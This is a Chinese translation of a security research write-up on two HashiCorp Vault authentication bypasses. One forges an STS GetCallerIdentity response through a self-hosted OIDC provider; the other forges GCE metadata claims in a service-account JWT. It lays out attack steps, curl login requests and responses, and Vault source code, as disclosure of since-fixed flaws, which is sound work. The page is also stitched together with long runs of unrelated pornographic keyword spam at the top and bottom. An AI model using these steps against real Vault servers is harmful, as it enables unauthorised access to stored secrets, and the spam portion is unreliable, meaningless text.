精品欧美一区二区三区在线观看 _久久久久国色av免费观看性色_国产精品久久在线观看_亚洲第一综合网站_91精品又粗又猛又爽_小泽玛利亚一区二区免费_91亚洲精品国偷拍自产在线观看 _久久精品视频在线播放_美女精品久久久_欧美日韩国产成人在线

深入剖析HashiCorp Vault中的身份驗證漏洞(下篇)

安全 漏洞
在這篇文章中,我們將為讀者深入講解HashiCorp Vault中的兩個身份驗證漏洞。

[[346836]]

在上一篇文章中,我們為讀者介紹了Vault的身份驗證架構,以及冒用調用方身份的方法,在本文中,我們將繼續為讀者介紹冒用調用方身份以及利用Vault-on-GCP的漏洞的過程。

STS(調用方)身份盜用 (接上文)

這使我們向盜用任意調用方身份的目標更靠近了一步:我們只需要找到一個STS操作來反映攻擊者控制的文本,并將它作為其API響應的一部分。然后,對它的請求進行序列化,同時包含一個Accept: application/json標頭,并將一個任意的GetCallerIdentityResponse XML blob放入反射型payload中。

找到一個不受字母數字字符限制的反射型參數是一件非常棘手的事情。經過反復嘗試后,我決定以AssumeRoleWithWebIdentity操作和它的SubjectFromWebIdentityToken響應元素作為目標。其中,AssumeRoleWithWebIdentity用于將OpenID Connect(OIDC)供應商簽名的JSON Web Tokens(JWT)轉換成AWS IAM身份。

使用有效簽名的JWT向該操作發送請求,將返回SubjectFromWebIdentityToken字段中的令牌的sub字段。

當然,一個正常的OIDC供應商是不會在主題字段中給帶有XML有效載荷的JWT進行簽名的。不過,攻擊者只要直接創建自己的OIDC身份供應商(IdP),并將其注冊到自己的AWS賬戶上,然后就可以用自己的密鑰對任意的令牌進行簽名了。

讓我們把這一切放在一起,就可以搞定整個攻擊過程:

 創建一個OIDC IdP。實際上,就是生成一個RSA密鑰對,創建一個OIDC discovery.json和key.json文檔,并將json文件托管在Web服務器上(參見這里,這是使用S3的設置示例)。

 使用自己的AWS賬戶注冊一個OID IdP -> AWS IAM角色映射。需要注意的是,這里的AWS賬戶不需要與我們的目標有任何關系。

 現在,就可以使用我們的OIDP給一個JWT進行簽名了,其中可以放入任意的GetCallerIdentityResponse,只要將其作為主題聲明的一部分即可。解碼后的示例令牌可能是這樣的:iss、azp和aud與步驟2中指定的細節是完全匹配的。其中,sub中包含我們的偽造的響應,從而將我們識別為AWS IAM賬戶arn:aws:iam::superprivileged-aws-account。

  1. {'iss''https://oidc-test-wrbvvljkzwtfpiikylvpckxgafdkxfba.s3.amazonaws.com/'
  2.  
  3. 'azp''abcdef''aud''abcdef'
  4.  
  5. 'sub'''
  6.  
  7. 'exp': 1595120834, 'iat': 1594207895} 

 我們可以使用步驟3中的(已經簽名的)令牌和步驟2中使用的RoleArn直接向STS AssumeRoleWithWebIdentity操作發送請求,以測試所有設置是否正確:

  1. curl -H "Accept: application/json" 
  2.  
  3. 'https://sts.amazonaws.com/?DurationSeconds=900&Action=AssumeRoleWithWebIdentity&Version=2011-06-15&RoleSessionName=web-identity-federation&RoleArn=arn:aws:iam::XZY::YOUR-OIDC-ROLE&WebIdentityToken=YOURTOKEN' 

如果一切按計劃進行,STS將把令牌主題反映為其JSON編碼響應的一部分。如上所述,Go XML解碼器將跳過GetCallerIdentityResponse對象前后的所有內容,從而使Vault認為這是一個有效的STS CallerIdentity響應。

  1. {"AssumeRoleWithWebIdentityResponse":{"AssumeRoleWithWebIdentityResult"
  2.  
  3. {"AssumedRoleUser":{"Arn":"arn:aws:iam::XZY::YOUR-OIDC-ROLE/web-identity-federation","AssumedRoleId":"AROATQ4R7PP5JJNLOF5P6:web-identity-federation"}, 
  4.  
  5. "Audience":"abcdef","Credentials":{...},"PackedPolicySize":null,"Provider":"arn:aws:iam::242434931706:oidc-provider/oidc-test-wrbvvljkzwtfpiikylvpckxgafdkxfba.s3.amazonaws.com/"
  6.  
  7. "SubjectFromWebIdentityToken":""}, 
  8.  
  9. "ResponseMetadata":....} 

 最后一步是將該請求轉換為Vault所期望的形式(例如使用base64編碼所有所需的標頭、url和一個空的post正文),并將其作為/v1/auth/aws/login上的登錄請求發送給目標Vault服務器。此后,Vault將反序列化該請求,將其發送到STS,并錯誤地解釋該響應。如果我們偽造的GetCallerIdentityResponse中的AWS ARN/UserID在Vault服務器上具有特權,我們就會得到一個有效的會話令牌,這樣,我們就可以用它來與Vault服務器交互,從而進一步獲取更多機密信息了。

  1. curl -X POST "https://vault-server/v1/auth/aws/login" -d '{"role":"dev-role-iam"
  2.  
  3. "iam_http_request_method""POST""iam_request_body""encoded-body", , "iam_request_headers" : 
  4.  
  5. "encoded-headers""iam_request_url" : "encoded-url"}' 
  6.  
  7. {"request_id":"59b09a0b-f5d5-f4c4-8ed0-af86a2c1f5d4","lease_id":"","renewable":false,"lease_duration":0,"data":null,"wrap_info":null,"warnings":["TTL 
  8.  
  9. of \"768h\" exceeded the effective max_ttl of \"500h\"; TTL value is capped 
  10.  
  11. accordingly"],"auth":{"client_token":"s.Kx3bUNw6wEc5bbkrKBiGW6WL","accessor":"TBRh0hvfd4FkYEAyFrUE3i2P","policies":["default","dev","prod"],"token_policies":["default","dev","prod"], 
  12.  
  13. "metadata":{"account_id":"242434931706","auth_type":"iam","role_id":"47faaf36-c8ab-c589-396c-2643c26e7b30"}, 
  14.  
  15. "lease_duration":1800000,"renewable":true,"entity_id":"447e1efe-0fd4-aa10-3a54-52405c0c69ab","token_type":"service","orphan":true}} 

我已經編寫了一個概念驗證exploit,用于負責JWT的創建和序列化等的大部分工作。雖然OIDC供應商的設置增加了一些復雜性,但我們仍可以繞過所有啟用AWS的角色的身份驗證。這里唯一的要求是,攻擊者需要知道目標Vault服務器中的特權AWS角色的名稱。

那么問題出自哪里呢?從攻擊者的角度來看,整個認證機制看起來很機智,但容易出錯。將HTTP請求轉發放入安全產品未經身份驗證的外部攻擊表面需要對實現和底層HTTP庫具有極強的信心。由于安全性取決于安全令牌服務的實現細節,而安全令牌服務可能隨時發生變化,這會讓事情變得更加困難。例如,AWS可能會決定將STS放在負載均衡前端的后面,使用Host標頭進行路由決策。出現這種情況后,如果不對Vault代碼庫進行相應的修改,可能會嚴重降低這種認證機制的安全性。

當然,身份驗證之所以這樣工作也是有原因的:AWS IAM沒有向其他非AWS服務證明該服務身份的直接方法。第三方服務無法輕松驗證預簽名請求,并且AWS IAM沒有提供可用于實現基于證書的身份驗證或JWT的標準簽名原語。

最后,Hashicorp通過強制執行HTTP標頭文件的允許列表、限制請求使用GetCallerIdentity操作以及加強對STS響應的驗證來修復了該漏洞,以期可以防止STS實現的意外變化或STS與Golang之間的HTTP解析器的差別所帶來的影響。

在AWS身份驗證模塊中發現這個問題后,我決定審查其GCP的等價物。下一節將介紹Vault的GCP認證是如何實現的,以及在許多配置中,一個簡單的邏輯缺陷是如何導致認證繞過的。

利用Vault-on-GCP的漏洞

Vault支持在谷歌云上部署的gcp認證方法。與AWS的同類產品類似,該認證方法支持兩種不同的認證機制:iam和gce機制。其中,iam機制能夠支持任意服務賬戶,并且可以在App Engine或Cloud Functions等服務中使用,而gce只能用于對運行在Google Compute Engine上的虛擬機進行身份驗證。不過,它還是具有一些優勢的:gce不僅可以根據服務帳戶身份做出身份驗證決策,還可以根據多個VM屬性授予訪問權限。例如,一個配置可以只允許特定區域(europe-west-6)的虛擬機訪問某些機密信息,允許xyz-prod GCP項目中的所有虛擬機所有訪問權限,或者使用instance-groups對訪問權限做進一步的限制。

實際上,iam和gce認證機制都是建立在JWT之上的。一個vault客戶端如果想要進行身份驗證,則需要創建一個簽名令牌來證明自己的身份,并將其發送到vault服務器來獲取會話令牌。對于iam機制來說,客戶端可以直接使用其控制的服務賬戶私鑰或使用projects.serviceAccounts.signJwt IAM API方法給令牌簽名。

對于gce來說,客戶端需要在授權的GCE虛擬機上運行。它通過向GCP元數據服務器的實例身份端點發送請求來獲取簽名令牌。與服務賬戶令牌相比,這個令牌是由谷歌官方證書進行簽名的。除了正常的JWT聲明(sub、aud、iat、exp)外,從元數據服務器返回的令牌還包含一個特殊的compute_engine聲明,它列出了關于該實例的相關細節,這些細節將作為認證過程的一部分進行處理。

  1. "google":{"compute_engine":{"instance_creation_timestamp":1594641932,"instance_id":"671398237781058X 
  2.  
  3. XXX","instance_name":"vault","project_id":"fwilhelm-testing-XXXX","project_number":950612XXXX,"zone":"europe-west3-c"}} 

JWT在設計上有很多選擇的余地,這使得它的實現非常容易出現問題(參見securitum的這篇博文,以了解典型問題的相關概述),所以,我決定花一天時間來回顧Vault的令牌處理機制。

實際上,函數parseAndValidateJwt是專門負責處理gce和iam令牌的。

該函數首先在不驗證簽名的情況下解析令牌,并將解碼后的令牌傳入getSigningKey helper方法:

  1. // Process JWT string. 
  2.  
  3. signedJwt, ok := data.GetOk("jwt"
  4.  
  5. if !ok { 
  6.  
  7. return nil, errors.New("jwt argument is required"
  8.  
  9.  
  10. // Parse 'kid' key id from headers. 
  11.  
  12. jwtVal, err := jwt.ParseSigned(signedJwt.(string)) 
  13.  
  14. if err != nil { 
  15.  
  16. return nil, errwrap.Wrapf("unable to parse signed JWT: {{err}}", err) 
  17.  
  18.  
  19. key, err := b.getSigningKey(ctx, jwtVal, signedJwt.(string), loginInfo.Role, req.Storage) 
  20.  
  21. if err != nil { 
  22.  
  23. return nil, errwrap.Wrapf("unable to get public key for signed JWT: %v", err) 
  24.  

其中,getSigningKey將從token標頭中提取密鑰id聲明(kid),并試圖找到一個具有相同標識符的google級別(google-wide)的oAuth密鑰。它雖然對GCE元數據令牌有效,但對服務賬戶簽名的令牌無效:

  1. func (b *GcpAuthBackend) getSigningKey(...) (interface{}, error) { 
  2.  
  3. b.Logger().Debug("Getting signing Key for JWT"
  4.  
  5. if len(token.Headers) != 1 { 
  6.  
  7. return nil, errors.New("expected token to have exactly one header"
  8.  
  9.  
  10. kid := token.Headers[0].KeyID 
  11.  
  12. b.Logger().Debug("kid found for JWT""kid", kid) 
  13.  
  14. // Try getting Google-wide key 
  15.  
  16. k, gErr := gcputil.OAuth2RSAPublicKey(ctx, kid) 
  17.  
  18. if gErr == nil { 
  19.  
  20. b.Logger().Debug("Found Google OAuth2 provider key""kid", kid) 
  21.  
  22. return k, nil 
  23.  

如果這種方法失敗,Vault服務器會從提供的令牌中提取Subject(sub)聲明。對于有效的令牌,這個聲明將包含簽名服務賬戶的電子郵件地址。知道了令牌的密鑰id和主題后,Vault就能使用服務賬戶GCP API獲取用于簽名的公鑰:

  1. // If that failed, try to get account-specific key 
  2.   
  3. b.Logger().Debug("Unable to get Google-wide OAuth2 Key, trying service-account public key"
  4.   
  5. saId, err := getJWTSubject(rawToken) 
  6.   
  7. if err != nil { 
  8.   
  9.         return nil, err 
  10.   
  11.   
  12. k, saErr := gcputil.ServiceAccountPublicKey(saId, kid) 
  13.   
  14. if saErr != nil { 
  15.   
  16.         return nil, errwrap.Wrapf(fmt.Sprintf("unable to get public key %q for JWT subject %q: {{err}}", kid, saId), saErr) 
  17.   
  18.   
  19. return k, nil 

在這兩種情況下,Vault服務器現在都可以訪問驗證JWT簽名的公鑰了:

  1. // Parse claims and verify signature. 
  2.   
  3. baseClaims := &jwt.Claims{} 
  4.   
  5. customClaims := &gcputil.CustomJWTClaims{} 
  6.   
  7. if err = jwtVal.Claims(key, baseClaims, customClaims); err != nil { 
  8.   
  9.         return nil, err 
  10.   
  11.   
  12. if err = validateBaseJWTClaims(baseClaims, loginInfo.RoleName); err != nil { 
  13.   
  14.         return nil, err 
  15.   

如果驗證成功,Vault將填寫loginInfo結構體,該結構體稍后用于授予或拒絕授予訪問權限。如果令牌包含compute_engine聲明,則將其復制到logininfo.gceMetada字段中:

  1. loginInfo.JWTClaims = baseClaims 
  2.   
  3. if len(baseClaims.Subject) == 0 { 
  4.   
  5.         return nil, errors.New("expected JWT to have non-empty 'sub' claim"
  6.   
  7.   
  8. loginInfo.EmailOrId = baseClaims.Subject 
  9.   
  10. if customClaims.Google != nil && customClaims.Google.Compute != nil &&  len(customClaims.Google.Compute.InstanceId) > 0 { 
  11.   
  12.         loginInfo.GceMetadata = customClaims.Google.Compute 
  13.   
  14.   
  15. if loginInfo.Role.RoleType == gceRoleType && loginInfo.GceMetadata == nil { 
  16.   
  17.         return nil, errors.New("expected JWT to have claims with GCE metadata"
  18.   
  19.   
  20. return loginInfo, nil 

如上所述,所有這些代碼都在iam和gce auth方法之間是通用的。這里的問題是,沒有強制要求該令牌是由不包含GCE compute_engine聲明的服務賬戶進行簽名的。雖然GCE元數據令牌中的內容是可信的,并且是由Google控制的,但服務賬戶令牌則是完全由服務賬戶的所有者控制的,因此可能包含任意的聲明。

如果我們按照gce方法的控制流程走到最后,我們將會發現,Vault會在pathGceLogin中將loginInfo.GceMetadata作為其認證決策的一部分,如果滿足下面兩個條件的話:

元數據部分中描述的VM需要存在。這是使用GCE API驗證的,并且需要攻擊者模擬處于運行狀態的VM。實際上,只有project_id、zone和instance_name需要驗證,并且需要設置為有效值。

JWT令牌的主題聲明中的服務帳戶必須是存在的。這是通過ServiceAccount GCP API進行驗證的,要求在托管服務帳戶的項目中擁有am.ServiceAccounts.Get權限。由于攻擊者可以在自己的項目中使用服務帳戶,所以只需將這個權限授予Vault GCP身份,甚至是allUsers即可。

最后,調用AuthorizeGCE來授予或拒絕訪問權限。如果攻擊者使用正確的屬性(項目、標簽、區域等)冒充的GCE實例一切正常,攻擊者將得到一個有效的會話令牌。唯一不能繞過的身份驗證限制,就是硬編碼的服務帳戶名,因為該值等于攻擊者帳戶,而不是預期的VM帳戶名。

針對易受攻擊配置的端到端攻擊過程如下所示:

1. 在你控制的GCP項目中創建一個服務賬戶,并使用gcloud生成一個私鑰:gcloud iam service-accounts keys create key.json --iam-account sa-name@project-id.iam.gserviceaccount.com。

2. 用一個偽造的compute_engine claim來給一個JWT簽名,以冒充一個現有的、有特權的虛擬機。請看這里的簡單的概念驗證腳本,其中已經考慮到了大部分的細節。

3. 現在,只需使用令牌登錄Vault即可:curl --request POST --data '{"role": "my-gce-role", "jwt" : "...."}' http://vault:8200/v1/auth/gcp/login

這是一個非常有趣的漏洞,需要對GCP IAM有一定的了解才能發現它。該漏洞的根源,好像是因為在parseAndValidateJwt函數中,將兩個獨立的認證流合并到一個代碼路徑中,這使得在編寫或審查代碼時,很難弄清楚所有的安全要求。同時,由于GCP提供了兩種具有完全不同安全屬性的JWT令牌,使得自己很容易中槍。

小結

本文介紹了用于管理機密信息的“云原生”軟件HashiCorp Vault中被曝出的兩個認證漏洞。雖然Vault在開發時明顯考慮到了安全問題,并從其實現語言Go的內存安全和高質量標準庫中受益良多,但我仍然能夠在其無需認證的攻擊面中發現兩個關鍵漏洞。

根據我的經驗,在開發人員必須與外部系統和服務交互的地方,經常會存在類似這樣的棘手漏洞。一個強大的開發人員也許能夠推理出自己軟件的所有安全邊界、需求和陷阱,但一旦有復雜的外部服務出現,確保軟件的安全性就變得非常困難。雖然現代云IAM解決方案功能強大,通常比同類內部解決方案更安全,但也有自己的安全隱患和較高的實施復雜性。隨著越來越多的公司向大型云提供商遷移,熟悉這些技術棧將成為安全工程師和研究人員的關鍵技能,可以肯定的是,未來幾年肯定會曝出越來越多的同類問題。

最后,本文所討論的兩個漏洞都表明了編寫的安全軟件是多么的困難。即使使用內存安全的語言、強大的密碼學原語、靜態分析和大型模糊基礎結構,某些問題也只能通過手動代碼審查和攻擊者的思維方式才能發現。

本文翻譯自:https://googleprojectzero.blogspot.com/2020/10/enter-the-vault-auth-issues-hashicorp-vault.html如若轉載,請注明原文地址。

 

責任編輯:姜華 來源: 嘶吼網
相關推薦

2020-10-15 10:15:12

Vault中的身份驗

2021-07-19 10:10:15

身份驗證漏洞Windows Hel

2022-05-19 14:39:41

VMware漏洞惡意攻擊

2014-09-12 09:58:45

2012-02-20 09:55:41

ibmdw

2023-11-30 13:13:14

2010-09-06 11:24:47

CHAP驗證PPP身份驗證

2010-01-07 17:41:19

VB.NET驗證LDA

2025-04-25 07:00:00

身份驗證CISO無密碼

2010-07-17 00:57:52

Telnet身份驗證

2012-04-10 09:36:58

2022-11-14 08:17:56

2014-10-30 09:14:28

2011-02-21 10:54:45

2013-07-21 18:32:13

iOS開發ASIHTTPRequ

2021-10-06 14:36:36

身份驗證漏洞黑客

2024-08-06 16:00:06

2012-10-23 16:12:35

2022-10-31 10:00:00

2010-07-19 17:30:47

點贊
收藏

51CTO技術棧公眾號

欧美精品videossex少妇| 狠狠人妻久久久久久综合| 欧美国产亚洲精品| 亚洲成年人影院| 免费看污久久久| 91国产精品一区| 亚洲婷婷在线| 一区二区成人av| 好吊操视频这里只有精品| 中文字幕人成乱码在线观看| 国产精品另类一区| 国产精品久久久久av福利动漫| 麻豆成人免费视频| 亚洲色图欧美| 亚洲色在线视频| 午夜影院免费版| 成人日韩在线观看| 欧美一区在线看| 日韩精品免费一线在线观看| 在线观看亚洲色图| 激情av在线| 国产欧美精品一区二区三区四区 | 亚洲精品有码在线| 亚洲第一区第二区第三区| 涩涩视频在线播放| 亚洲乱码国产乱码精品精可以看 | 亚洲成a人片在线不卡一二三区 | 国产老熟女伦老熟妇露脸| 亚洲91在线| 色婷婷激情一区二区三区| 免费一级淫片aaa片毛片a级| 成人一区二区不卡免费| 成人va在线观看| 成人黄色av网站| 一级久久久久久| 亚洲一区免费| 高清欧美性猛交xxxx黑人猛交| 永久免费看mv网站入口| 国内精品久久久久久久久电影网 | 中文字幕免费精品| 亚洲欧洲日产国码av系列天堂| 大尺度做爰床戏呻吟舒畅| 精品一区二区三区四区五区| 欧美日韩亚洲综合| 麻豆av免费在线| 日韩av影片| 无码av中文一区二区三区桃花岛| 香港三级日本三级a视频| 网友自拍视频在线| 久久久噜噜噜久久中文字幕色伊伊| 97视频中文字幕| 国产高潮流白浆喷水视频| 久久国产福利国产秒拍| 国产精品视频在线播放| 中文在线观看av| 日韩二区三区四区| 国产精品18久久久久久首页狼| 九九九在线观看| 国产欧美日韩亚洲一区二区三区| 久久久亚洲成人| 国产亚洲欧美久久久久 | 免费看的黄色大片| 国产99在线| 欧美色播在线播放| 无码人妻丰满熟妇区毛片18| 范冰冰一级做a爰片久久毛片| 狠狠久久亚洲欧美专区| 久久久久久久久久久久久国产精品 | 日韩在线欧美在线国产在线| 99热这里只有精品4| 91精品啪在线观看国产81旧版| 美女av一区二区三区| 国产一区二区播放| 精品成人一区| 欧美性一区二区三区| 日日夜夜狠狠操| 免费不卡在线视频| 亚洲bt天天射| 日韩在线一区二区三区四区| 91在线高清观看| 欧美久久电影| 欧美激情视频在线播放| 亚洲免费在线视频| 男人和女人啪啪网站| 欧美成人黑人| 在线播放中文一区| 四虎成人免费视频| 男男gay无套免费视频欧美| 自拍偷拍亚洲欧美| 中文字幕av免费在线观看| 日韩视频中文| 国产一区视频在线| 亚洲欧美另类一区| 国产欧美va欧美不卡在线| ijzzijzzij亚洲大全| www.超碰在线| 欧美日韩亚洲综合| yy1111111| 91日韩免费| 91av在线播放视频| 91精品国产乱码久久| 成人午夜精品一区二区三区| 日本不卡二区高清三区| 中文字幕有码在线观看| 黑人巨大精品欧美一区二区三区| 天天干天天av| 日韩影视在线观看| 久久亚洲影音av资源网| 台湾佬中文在线| 国产精品综合在线视频| 欧美精品二区三区四区免费看视频| 国产原创在线观看| 一本大道久久a久久综合| 青娱乐精品在线| 欧美日韩中字| 91精品国产电影| 国产手机av在线| 中文字幕不卡的av| 久久久精品在线视频| 日本少妇精品亚洲第一区| 亚洲美女喷白浆| 久久久久久欧美精品se一二三四| 日本少妇一区二区| 久久久一本精品99久久精品| а√天堂资源地址在线下载| 精品视频资源站| 男人天堂av电影| 一区二区三区四区五区精品视频 | 色综合色综合久久综合频道88| 中文字幕xxxx| 97超碰欧美中文字幕| 人人妻人人澡人人爽欧美一区双| 国精产品一区二区三区有限公司| 亚洲精品乱码久久久久久按摩观| 精品欧美一区二区久久久久| 老司机午夜精品| 日韩黄色影视| 国产成人精品123区免费视频| 亚洲成人精品av| 久草国产在线观看| 国产成人精品网址| 国产精品久久成人免费观看| 亚洲精品777| 最近中文字幕2019免费| 中文字幕a级片| 国产视频一区在线播放| 国产视频在线视频| 国产精品嫩草影院在线看| 欧美性受xxx| 男女污视频在线观看| 欧美三级免费观看| 日韩人妻无码精品综合区| 另类激情亚洲| 久久一区二区三区欧美亚洲| 高清不卡av| 国产亚洲美女久久| 中文字幕男人天堂| 国产精品国产三级国产a| 91女神在线观看| 色男人天堂综合再现| 成人久久一区二区| av免费看在线| 精品不卡在线视频| 天天干天天干天天干天天| 久久久精品综合| 日本888xxxx| 99视频精品全国免费| 92国产精品视频| 黄色影院在线看| 日韩精品黄色网| 免费看一级视频| 日本一区二区不卡视频| 中文字幕中文在线| 欧美三级第一页| 国产在线欧美日韩| 视频在线日韩| 欧美大片va欧美在线播放| 囯产精品一品二区三区| 欧美午夜精品久久久久久久| 亚洲av成人无码久久精品 | 日韩欧美亚洲范冰冰与中字| 亚洲天堂久久新| 美女脱光内衣内裤视频久久影院| 一级特黄妇女高潮| 日本三级久久| 国产精品一区二区久久精品| 国产丝袜在线| 亚洲精品自拍视频| 国产精品自产拍| 天天综合天天综合色| 婷婷丁香综合网| 成人黄色小视频在线观看| 成人在线观看黄| 欧美精品国产一区二区| 日本一区二区精品视频| 日韩精品成人| 日韩av电影免费观看高清| 黄视频在线观看网站| 日韩成人在线视频观看| 国产精品无码在线播放| 色综合色狠狠综合色| 亚洲成人生活片| 久久久久久久久久久黄色| 三级网站免费看| 日本va欧美va瓶| www..com日韩| 2023国产精品久久久精品双| 久久久影院一区二区三区| 免费一级欧美片在线观看网站| 8x拔播拔播x8国产精品| 制服丝袜中文字幕在线| 国产亚洲人成网站在线观看| 国产香蕉在线观看| 制服丝袜国产精品| 无码人妻久久一区二区三区不卡| 一区二区三区在线播放| 91社区视频在线观看| 久久综合色播五月| 久久久久无码国产精品一区李宗瑞| 日本91福利区| 18禁免费无码无遮挡不卡网站| 欧美成人首页| 亚洲日本精品一区| 精品国产精品| 久久亚洲高清| 日本亚洲不卡| 国产伦精品一区二区三区视频黑人 | 国产高清成人久久| 国产成+人+日韩+欧美+亚洲| av中文字幕网址| 奇米在线7777在线精品| 十八禁视频网站在线观看| 99视频一区| 日本欧美视频在线观看| 欧美精品国产| 欧美另类videos| 国产精品二区不卡| 做爰高潮hd色即是空| 日韩免费高清| 国产亚洲欧美日韩在线一区| 亚洲天堂免费在线观看视频| 精品香蕉一区二区三区| 日本a级片视频| 欧美精品首页| 高清久久久久久| 国产成人一区二| 忘忧草在线日韩www影院| 欧美精品videosex极品1| 麻豆免费在线视频| 95精品视频在线| 波多野结衣50连登视频| 9色精品在线| 国产91xxx| 国产精品亚洲综合久久| 久久精品国产精品亚洲色婷婷| 亚洲人成人一区二区三区| 国产亚洲黄色片| 亚洲精品韩国| 蜜臀av午夜一区二区三区 | 国产啪精品视频网站| 视频一区二区视频| 美女露出粉嫩尿囗让男人桶| 日韩成人精品一区二区三区| 国产成人精品亚洲精品| 老司机2019福利精品视频导航| 日本久久亚洲电影| 美女一区网站| 国产精品视频999| 亚洲精品乱码日韩| 亚洲成在人线av| 国产精品美女视频网站| 性xxxx18| 亚洲美女av黄| 国产色a在线| 精品国产自在精品国产浪潮| 手机电影在线观看| 午夜精品久久久久久久99黑人| 成年女人在线看片| 日韩av手机在线看| 国产精品3区| 国产精品久久久一区| 国产精品va无码一区二区三区| 欧美性猛交xxxx黑人猛交| 看黄色一级大片| 91精品国产91久久综合桃花| 欧美一级免费片| 一夜七次郎国产精品亚洲| 中文av资源在线| 日本成熟性欧美| 经典三级久久| 欧美日韩精品久久久免费观看| 99久久亚洲精品蜜臀| 香港三级韩国三级日本三级| 蜜桃视频一区二区| 日本一区二区免费视频| 国产欧美一区视频| 久操免费在线视频| 色偷偷久久人人79超碰人人澡| 一级欧美一级日韩| 亚洲精品电影网在线观看| 婷婷成人激情| 91av在线看| 看亚洲a级一级毛片| 欧美一区二区综合| 国产专区一区| 中文字幕第88页| bt欧美亚洲午夜电影天堂| 日本黄色免费片| 欧美午夜精品久久久久久浪潮 | 精品视频免费在线| 天天摸夜夜添狠狠添婷婷| 久久色在线播放| yw.尤物在线精品视频| 国产在线精品一区| 午夜欧美精品| 日韩在线一区视频| 久久精品人人做| www.天天色| 日韩一区二区三区四区五区六区| 国产中文字幕在线视频| 国模叶桐国产精品一区| 久久国际精品| 在线视频亚洲自拍| 日韩国产在线一| 亚洲乱码国产乱码精品精大量| 一片黄亚洲嫩模| 中文天堂在线视频| 中国人与牲禽动交精品| 欧美大胆性生话| 久久免费一区| 国产精品久久777777毛茸茸| 亚洲av无码一区东京热久久| 亚洲免费大片在线观看| 在线免费看av的网站| 亚洲天堂av女优| 欧美日韩美女| 欧美日韩一区二区视频在线| 在线亚洲伦理| 最新在线黄色网址| 亚洲高清中文字幕| 欧美特黄一级视频| 久久久亚洲影院| 2020国产精品极品色在线观看| 特色特色大片在线| 国产乱子轮精品视频| 极品久久久久久| 欧美一级欧美一级在线播放| av免费在线网站| 91av免费看| 一区在线播放| 国产精品久久AV无码| 欧美日韩中国免费专区在线看| 亚洲 另类 春色 国产| 26uuu亚洲伊人春色| 伊人精品一区| 91热这里只有精品| 国产精品白丝在线| 国产裸体永久免费无遮挡| 久久伊人精品视频| 91在线一区| 久久国产成人精品国产成人亚洲| 久久久久久一级片| 天天操天天干天天摸| 自拍偷拍免费精品| 欧美电影院免费观看| 霍思燕三级露全乳照| 国产性做久久久久久| 最近中文字幕在线免费观看| 日韩网站免费观看| 亚洲无线观看| 欧美日韩在线中文| 国产精品久久毛片a| www.热久久| 777精品视频| 91免费精品| japanese在线观看| 欧美性色欧美a在线播放| caopeng在线| 精品中文字幕人| 麻豆91在线看| 久久久久免费看| 国产亚洲精品一区二区| 欧美高清hd| 精品久久久久久久免费人妻| 18涩涩午夜精品.www| 日本精品久久久久久| 国产精品免费久久久久久| 欧美在线网址| 亚洲区免费视频| 欧美一区二区视频在线观看2022| brazzers在线观看| 亚洲国产日韩欧美| 粉嫩13p一区二区三区| 色老头在线视频| 欧美大胆a视频| 不卡视频在线| 国产免费一区二区三区最新6| 在线亚洲高清视频| 国内高清免费在线视频| 日本精品一区二区三区高清 久久|